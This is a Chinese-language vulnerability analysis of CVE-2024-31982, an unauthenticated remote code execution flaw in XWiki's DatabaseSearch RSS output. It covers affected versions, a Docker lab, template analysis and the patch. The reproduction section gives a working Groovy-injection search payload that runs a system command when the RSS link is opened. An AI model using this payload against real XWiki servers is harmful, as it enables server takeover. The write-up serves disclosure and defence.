CVE-2024-31982 XWiki DatabaseSearch 远程代码执行漏洞
CVE-2024-31982 XWiki DatabaseSearch 远程代码执行漏洞
前言
XWiki是一个由Java编写的基于LGPL协议发布的开源wiki和应用平台。它提供了一个强大、灵活且易于使用的平台,用于构建、管理和分享知识。XWiki可以运行在多种Servlet容器上,如Tomcat、Jetty、JBoss、WebLogic、WebSphere等,并支持多种关系型数据库,如HSQL、MySQL等。支持创建、编辑和版本控制各类文档,并提供多语言支持,满足全球化团队的需求。平台集成了讨论、评论、投票和任务管理等功能,便于团队成员之间的沟通与协作。拥有丰富的第三方扩展库支持,能够适应各类业务需求。
XWiki 最近发现存在远程代码执行漏洞,该漏洞源于DatabaseSearch 接口代码设置不当缺陷,导致未经身份验证的远程攻击者可以执行任意Groovy代码或任意系统指令,从而获取服务器权限
影响范围
从 2.4-milestone-1到14.10.20 之前的版本
从 15.0-rc-1 到 15.5.4 之前的版本
从 15.6-rc-1 到 15.10-rc-1 之前的版本
环境搭建
这里直接使用docker搭建,官方docker环境:https://github.com/xwiki/xwiki-docker
看目录挺复杂的,其实只需要对应的版本和配置即可,例如15版本的mariadb-tomcat,只需要下面三个文件
wget https://raw.githubusercontent.com/xwiki-contrib/docker-xwiki/master/15/mariadb-tomcat/mariadb/init.sql
wget -O docker-compose.yml https://raw.githubusercontent.com/xwiki-contrib/docker-xwiki/master/15/mariadb-tomcat/docker-compose.yml
wget https://raw.githubusercontent.com/xwiki-contrib/docker-xwiki/master/15/mariadb-tomcat/.env
然后修改.env文件的XWIKI_VERSION为需要的版本号即可
# Default environment values
XWIKI_VERSION=15.5.3
DB_USER=xwiki
DB_PASSWORD=xwiki
DB_DATABASE=xwiki
MYSQL_ROOT_PASSWORD=xwiki
下一步就是起环境
docker-compose up -d
漏洞复现
第一步,点击搜索
输入下面内容:
}}}{{async async=false}}{{groovy}}def sout = new StringBuilder(), serr = new StringBuilder(); def proc = 'touch /tmp/pwn'.execute(); proc.consumeProcessOutput(sout, serr); proc.waitForOrKill(1000); println "$sout";{{/groovy}}{{/async}}
这个payload是执行命令touch /tmp/pwn
第二步,点击搜索下方的 RSS 源链接
这个命令已经执行了,效果如下:
漏洞分析
XWiki 使用的是Velocity模板引擎,根据该漏洞是由于DatabaseSearch 接口代码设置不当导致的,找到了DatabaseSearch.xml
它定义了一个名为Main.DatabaseSearch
的页面,即漏洞触发页面,这个页面是使用Velocity模板语言动态生成的,下面详细分析一下这个模板
这段代码主要功能是生成一个生成搜索输入框,并使用$request.text
获取当前请求中的文本值
往下
这个是定义一个名为databaseAddResults
的宏(和函数、方法类似),接受三个参数:HQL查询语句、参数映射和结果映射。其中创建一个HQL查询,添加隐藏过滤器并设置结果限制为50条。然后遍历参数映射的条目,并将它们绑定到查询中,执行查询并遍历结果,对每个文档引用进行处理。
这里还要检查当前用户是否有查看文档的权限#if ($services.security.authorization.hasAccess('view', $documentReference))
定义一个名为databaseSearch
的宏,说人话就是搜索返回结果
接下来是主要的
设置一个变量$rssMode
来判断是否处于RSS模式,这个是根据$xcontext.action
或者$!request.xpage
来判断的
调用databaseSearch
宏执行搜索,并将结果存储在列表中 ===>#databaseSearch($text $list)
如果是RSS模式,则生成RSS feed,并创建一个文档feed
#set ($feed = $xwiki.feed.getDocumentFeed($list, {}))
#set ($feedURI = $doc.getExternalURL("view"))
获取文档的外部URL,用于feed的链接
#set ($discard = $feed.setLink($feedURI))
#set ($discard = $response.setContentType('application/rss+xml'))
设置响应的内容类型为RSS
{{{$xwiki.feed.getFeedOutput($feed, $xwiki.getXWikiPreference('feed_type', 'rss_2.0'))}}}
$xwiki.feed.getFeedOutput
是XWiki的一个方法,用于生成RSS feed的XML输出,即漏洞触发后的页面内容
{{{...}}}
被用来直接输出 $xwiki.feed.getFeedOutput
方法的结果,这样做的目的是为了防止Velocity引擎对RSS feed的XML内容进行解析,因为XML内容需要作为原始文本输出
出现漏洞的主要原因是这里使用了三个大括号的插值语法, $xwiki.feed.getFeedOutput
函数的返回值中包含了用户可控的数据,并且这些数据中嵌入了Velocity模板代码,那么这些代码将被执行,而不是被安全地输出,这解释了payload中为什么需要开头闭合}}}
#set ($text = "$!request.text")
$text
变量从请求中获取到用户的输入,并且将这个输入设置到页面的title和RSS描述中,即xml中的 <title>
和<description>
#set ($discard = $feed.setTitle($services.localization.render('search.rss', [$text])))
#set ($discard = $feed.setDescription($services.localization.render('search.rss', [$text])))
综上所述,模板注入
漏洞修复
可以看到删除了使用三个花括号的输出语句,防止直接输出可能导致注入
#set ($feedOutput = $xwiki.feed.getFeedOutput($feed, $xwiki.getXWikiPreference('feed_type', 'rss_2.0')))
将输出的xml结果保存到变量$feedOutput
中,使用$response.writer.print
直接将RSS feed的输出写入HTTP响应,避免了Velocity模板的进一步解析。
#set ($feedOutput = $xwiki.feed.getFeedOutput($feed, $xwiki.getXWikiPreference('feed_type', 'rss_2.0')))
#set ($discard = $response.writer.print($feedOutput))
以此方式去除了{{{...}}}
的输出方式,修补漏洞